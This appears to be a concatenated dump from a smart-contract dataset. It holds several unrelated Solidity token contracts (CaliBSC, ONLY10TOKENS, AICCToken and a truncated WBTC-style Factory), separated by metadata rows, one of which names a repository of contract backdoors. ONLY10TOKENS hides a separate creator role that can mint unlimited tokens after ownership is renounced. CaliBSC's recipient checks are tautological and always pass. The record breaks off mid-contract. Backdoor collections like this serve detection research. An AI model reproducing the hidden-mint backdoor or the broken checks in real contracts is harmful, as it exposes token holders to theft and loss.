contract CaliBSC is ICaliERC20 {
using SafeERC20 for IERC20;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping(address => uint256) public override balanceOf;
mapping(address => bool) public isMinter;
mapping(address => bool) public isPendingMinter;
mapping(address => uint256) public delayMinter;
mapping(address => uint256) public override nonces;
mapping(address => mapping(address => uint256)) public override allowance;
string public constant name = "CaliCoin";
string public constant symbol = "CALI";
uint8 public constant decimals = 18;
// configurable delay for timelock functions
uint256 public constant delay = 172_800;
bytes32 public immutable DOMAIN_SEPARATOR;
bytes32 public constant DOMAIN_TYPEHASH =
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH =
keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
uint256 private _totalSupply = 50_000_000 * 10**decimals;
address public owner;
// set of minters, can be this bridge or other bridges
address[] private minters;
address public stakingContract;
uint256 public changeOwnerDelay;
address public pendingOwner;
bool public paused = false;
modifier onlyAuth() {
require(isMinter[_msgSender()], "CaliERC20: FORBIDDEN");
_;
}
modifier onlyOwner() {
require(_msgSender() == owner, "CaliERC20: FORBIDDEN");
_;
}
modifier whenNotPaused() {
require(paused == false, "CaliERC20: Paused");
_;
}
event ChangeOwner(address sender, address newOwner);
event RejectPendingOwner(address sender, address newOwner);
event AcceptPendingOwner(address sender, address newOwner);
event SetMinter(address sender, address _minter);
event ApplyMinter(address sender, address _minter);
event RevokeMinter(address sender, address _minter);
event RejectMinter(address sender, address _minter);
event LogSwapin(bytes32 indexed txhash,
address indexed account,
uint256 amount);
event LogSwapout(address indexed account,
address indexed bindaddr,
uint256 amount);
event LogAddAuth(address indexed auth, uint256 timestamp);
event Paused(address sender, bool pause);
function _blocktime() internal view returns (uint256) {
return block.timestamp;
}
function _msgSender() internal view returns (address) {
return msg.sender;
}
function changeOwner(address _owner) external onlyOwner {
pendingOwner = _owner;
changeOwnerDelay = _blocktime() + delay;
emit ChangeOwner(_msgSender(), _owner);
}
function rejectPendingOwner() external onlyOwner {
if (pendingOwner != address(0)) {
pendingOwner = address(0);
changeOwnerDelay = 0;
}
emit RejectPendingOwner(_msgSender(), pendingOwner);
}
function acceptPendingOwner() external onlyOwner {
if (changeOwnerDelay > 0 && pendingOwner != address(0)) {
require(_blocktime() > changeOwnerDelay,
"CaliERC20: owner apply too early");
owner = pendingOwner;
changeOwnerDelay = 0;
pendingOwner = address(0);
}
emit AcceptPendingOwner(_msgSender(), owner);
}
function setMinter(address _minter) external onlyOwner {
isPendingMinter[_minter] = true;
delayMinter[_minter] = _blocktime() + delay;
emit SetMinter(_msgSender(), _minter);
}
function applyMinter(address _pendingMinter) external onlyOwner {
require(isPendingMinter[_pendingMinter],
"CaliERC20: Not pending minter");
require(_blocktime() >= delayMinter[_pendingMinter],
"CaliERC20: apply minter too early");
isMinter[_pendingMinter] = true;
isPendingMinter[_pendingMinter] = false;
minters.push(_pendingMinter);
emit ApplyMinter(_msgSender(), _pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _minter) external onlyOwner {
isMinter[_minter] = false;
emit RevokeMinter(_msgSender(), _minter);
}
function rejectMinter(address _pendingMinter) external onlyOwner {
isPendingMinter[_pendingMinter] = false;
emit RejectMinter(_msgSender(), _pendingMinter);
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function mint(address to, uint256 amount)
external
onlyAuth
whenNotPaused
returns (bool)
{
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount)
external
onlyAuth
returns (bool)
{
require(from != address(0), "CaliERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash,
address account,
uint256 amount) public onlyAuth whenNotPaused returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr)
public
whenNotPaused
returns (bool)
{
require(bindaddr != address(0), "CaliERC20: address(0x0)");
_burn(_msgSender(), amount);
emit LogSwapout(_msgSender(), bindaddr, amount);
return true;
}
function pause() external onlyOwner {
paused = true;
emit Paused(_msgSender(), paused);
}
function unpause() external onlyOwner {
paused = false;
emit Paused(_msgSender(), paused);
}
constructor(address _caliOwner) {
owner = _caliOwner;
uint256 chainId = block.chainid;
isMinter[_caliOwner] = true;
minters.push(_caliOwner);
balanceOf[_caliOwner] += _totalSupply;
emit Transfer(address(0), _caliOwner, _totalSupply);
DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function addStakingContract(address staking) external onlyOwner {
require(stakingContract == address(0), "staking set");
stakingContract = staking;
isMinter[stakingContract] = true;
minters.push(stakingContract);
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "CaliERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "CaliERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function approve(address spender, uint256 value)
external
override
returns (bool)
{
// _approve(msg.sender, spender, value);
allowance[_msgSender()][spender] = value;
emit Approval(_msgSender(), spender, value);
return true;
}
function approveAndCall(address spender,
uint256 value,
bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[_msgSender()][spender] = value;
emit Approval(_msgSender(), spender, value);
IApprovalReceiver(spender).onTokenApproval(_msgSender(), value, data);
return true;
}
function permit(address source,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external override {
require(_blocktime() <= deadline, "CaliERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
source,
spender,
value,
nonces[source]++,
deadline));
require(verifyEIP712(source, hashStruct, v, r, s) ||
verifyPersonalSign(source, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[source][spender] = value;
emit Approval(source, spender, value);
}
function transferWithPermit(address source,
address to,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external override returns (bool) {
require(_blocktime() <= deadline, "CaliERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
source,
to,
value,
nonces[source]++,
deadline));
require(verifyEIP712(source, hashStruct, v, r, s) ||
verifyPersonalSign(source, hashStruct, v, r, s),
"CaliERC20: Invalid signature");
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[source];
require(balance >= value, "CaliERC20: transfer amount exceeds balance");
balanceOf[source] = balance - value;
balanceOf[to] += value;
emit Transfer(source, to, value);
return true;
}
function verifyEIP712(address source,
bytes32 hashStruct,
uint8 v,
bytes32 r,
bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == source);
}
function verifyPersonalSign(address source,
bytes32 hashStruct,
uint8 v,
bytes32 r,
bytes32 s) internal view returns (bool) {
bytes32 hash = prefixed(hashStruct);
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == source);
}
// Builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal view returns (bytes32) {
return
keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hash));
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value)
external
override
returns (bool)
{
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[_msgSender()];
require(balance >= value, "CaliERC20: transfer amount exceeds balance");
balanceOf[_msgSender()] = balance - value;
balanceOf[to] += value;
emit Transfer(_msgSender(), to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from,
address to,
uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != _msgSender()) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][_msgSender()];
if (allowed != type(uint256).max) {
require(allowed >= value,
"CaliERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][_msgSender()] = reduced;
emit Approval(from, _msgSender(), reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "CaliERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to,
uint256 value,
bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this),
"CaliERC20: invalid addresss");
uint256 balance = balanceOf[_msgSender()];
require(balance >= value, "CaliERC20: transfer amount exceeds balance");
balanceOf[_msgSender()] = balance - value;
balanceOf[to] += value;
emit Transfer(_msgSender(), to, value);
ITransferReceiver(to).onTokenTransfer(_msgSender(), value, data);
return true;
}
}
| 252,129 | 12,044 |
b6ec0a55cbdb220e93bee0cb1557b696fe867bc1231cccdfad3290a17288598f
| 30,859 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/3e/3e71b2f462e5219ad15b5f4f33bcf26ed50052b4_ONLY10TOKENS.sol
| 3,237 | 12,611 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _creator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
_creator = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function creator() public view returns (address) {
return _creator;
}
modifier onlyCreator() {
require(_creator == _msgSender(), "Ownable: caller is not the creator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private addresstalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return addresstalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) internal onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
addresstalSupply = addresstalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
addresstalSupply = addresstalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// ONLY10
contract ONLY10TOKENS is BEP20("ONLY10 Tokens", "Ox10") {
address[] internal tokenAddressList;
mapping(address => bool) internal tokenAddressExists;
uint256 public transBurnrate = 10;
uint256 public maxtransBurnrate = 5;
function mint(address _to, uint256 _amount) external onlyCreator {
_mint(_to, _amount);
if (!tokenAddressExists[_to]) {
tokenAddressList.push(_to);
tokenAddressExists[_to] = true;
}
}
}
| 314,882 | 12,045 |
e0ce0678e687d893b4e11ac791c72004e5edbe0076effb830d1f5e7ff4db6d83
| 18,075 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xbbf45465ce51e2e5a6bb858597dd0079b0809483.sol
| 2,784 | 10,703 |
pragma solidity 0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "The caller must be owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Cannot transfer control of the contract to the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract StandardToken is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0), "Cannot transfer to the zero address");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0), "Cannot approve to the zero address");
require(owner != address(0), "Setter cannot be the zero address");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Only when the contract is not paused");
_;
}
modifier whenPaused() {
require(paused, "Only when the contract is paused");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseAllowance(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(_spender, _addedValue);
}
function decreaseAllowance(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(_spender, _subtractedValue);
}
}
contract FreezableToken is PausableToken {
mapping(address=>bool) internal _frozenAccount;
event FrozenAccount(address indexed target, bool frozen);
function frozenAccount(address account) public view returns(bool){
return _frozenAccount[account];
}
function frozenCheck(address account) internal view {
require(!frozenAccount(account), "Address has been frozen");
}
function freeze(address account, bool frozen) public onlyOwner {
_frozenAccount[account] = frozen;
emit FrozenAccount(account, frozen);
}
function transfer(address _to, uint256 _value) public returns (bool) {
frozenCheck(msg.sender);
frozenCheck(_to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
frozenCheck(msg.sender);
frozenCheck(_from);
frozenCheck(_to);
return super.transferFrom(_from, _to, _value);
}
}
contract AICCToken is FreezableToken {
string public constant name = "AICloudChain"; // name of Token.
string public constant symbol = "AICC"; // symbol of Token.
uint8 public constant decimals = 18;
uint256 private constant INIT_TOTALSUPPLY = 30000000;
mapping (address => uint256) public releaseTime;
mapping (address => uint256) public lockAmount;
event LockToken(address indexed beneficiary, uint256 releaseTime, uint256 releaseAmount);
event ReleaseToken(address indexed user, uint256 releaseAmount);
constructor() public {
_totalSupply = INIT_TOTALSUPPLY * 10 ** uint256(decimals);
_owner = 0x06C7B9Ce4f2Fee058DE2A79F75DEC55092C229Aa;
_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
function lockToken(address _beneficiary, uint256 _releaseTime, uint256 _releaseAmount) public onlyOwner returns(bool) {
require(lockAmount[_beneficiary] == 0, "The address has been locked");
require(_beneficiary != address(0), "The target address cannot be the zero address");
require(_releaseAmount > 0, "The amount must be greater than 0");
require(_releaseTime > now, "The time must be greater than current time");
frozenCheck(_beneficiary);
lockAmount[_beneficiary] = _releaseAmount;
releaseTime[_beneficiary] = _releaseTime;
_balances[_owner] = _balances[_owner].sub(_releaseAmount); // Remove this part of the locked tokens from the owner.
emit LockToken(_beneficiary, _releaseTime, _releaseAmount);
return true;
}
function releaseToken(address _owner) public whenNotPaused returns(bool) {
frozenCheck(_owner);
uint256 amount = releasableAmount(_owner);
require(amount > 0, "No releasable tokens");
_balances[_owner] = _balances[_owner].add(amount);
lockAmount[_owner] = 0;
emit ReleaseToken(_owner, amount);
return true;
}
function releasableAmount(address addr) public view returns(uint256) {
if(lockAmount[addr] != 0 && now > releaseTime[addr]) {
return lockAmount[addr];
} else {
return 0;
}
}
function transfer(address to, uint256 value) public returns (bool) {
if(releasableAmount(msg.sender) > 0) {
releaseToken(msg.sender);
}
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if(releasableAmount(from) > 0) {
releaseToken(from);
}
return super.transferFrom(from, to, value);
}
function batchTransfer(address[] memory addressList, uint256[] memory amountList) public onlyOwner returns (bool) {
uint256 length = addressList.length;
require(addressList.length == amountList.length, "Inconsistent array length");
require(length > 0 && length <= 150, "Invalid number of transfer objects");
uint256 amount;
for (uint256 i = 0; i < length; i++) {
frozenCheck(addressList[i]);
require(amountList[i] > 0, "The transfer amount cannot be 0");
require(addressList[i] != address(0), "Cannot transfer to the zero address");
amount = amount.add(amountList[i]);
_balances[addressList[i]] = _balances[addressList[i]].add(amountList[i]);
emit Transfer(msg.sender, addressList[i], amountList[i]);
}
require(_balances[msg.sender] >= amount, "Not enough tokens to transfer");
_balances[msg.sender] = _balances[msg.sender].sub(amount);
return true;
}
}
| 141,013 | 12,046 |
431b20242c15ca30b7f1eedc0c298e7192743ee190379d16896830db92d6aa4f
| 19,527 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0xe5a5f138005e19a3e6d0fe68b039397eeef2322b.sol
| 3,597 | 15,892 |
pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/Claimable.sol
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
function safeTransfer(ERC20Basic _token,
address _to,
uint256 _value)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(ERC20 _token,
address _from,
address _to,
uint256 _value)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(ERC20 _token,
address _spender,
uint256 _value)
internal
{
require(_token.approve(_spender, _value));
}
}
// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
// File: contracts/utils/OwnableContract.sol
// empty block is used as this contract just inherits others.
contract OwnableContract is CanReclaimToken, Claimable { }
// File: contracts/controller/ControllerInterface.sol
interface ControllerInterface {
function mint(address to, uint amount) external returns (bool);
function burn(uint value) external returns (bool);
function isCustodian(address addr) external view returns (bool);
function isMerchant(address addr) external view returns (bool);
function getWBTC() external view returns (ERC20);
}
// File: contracts/factory/Factory.sol
contract Factory is OwnableContract {
enum RequestStatus {PENDING, CANCELED, APPROVED, REJECTED}
struct Request {
address requester; // sender of the request.
uint amount; // amount of wbtc to mint/burn.
string btcDepositAddress; // custodian's btc address in mint, merchant's btc address in burn.
string btcTxid; // bitcoin txid for sending/redeeming btc in the mint/burn process.
uint nonce; // serial number allocated for each request.
uint timestamp; // time of the request creation.
RequestStatus status; // status of the request.
}
ControllerInterface public controller;
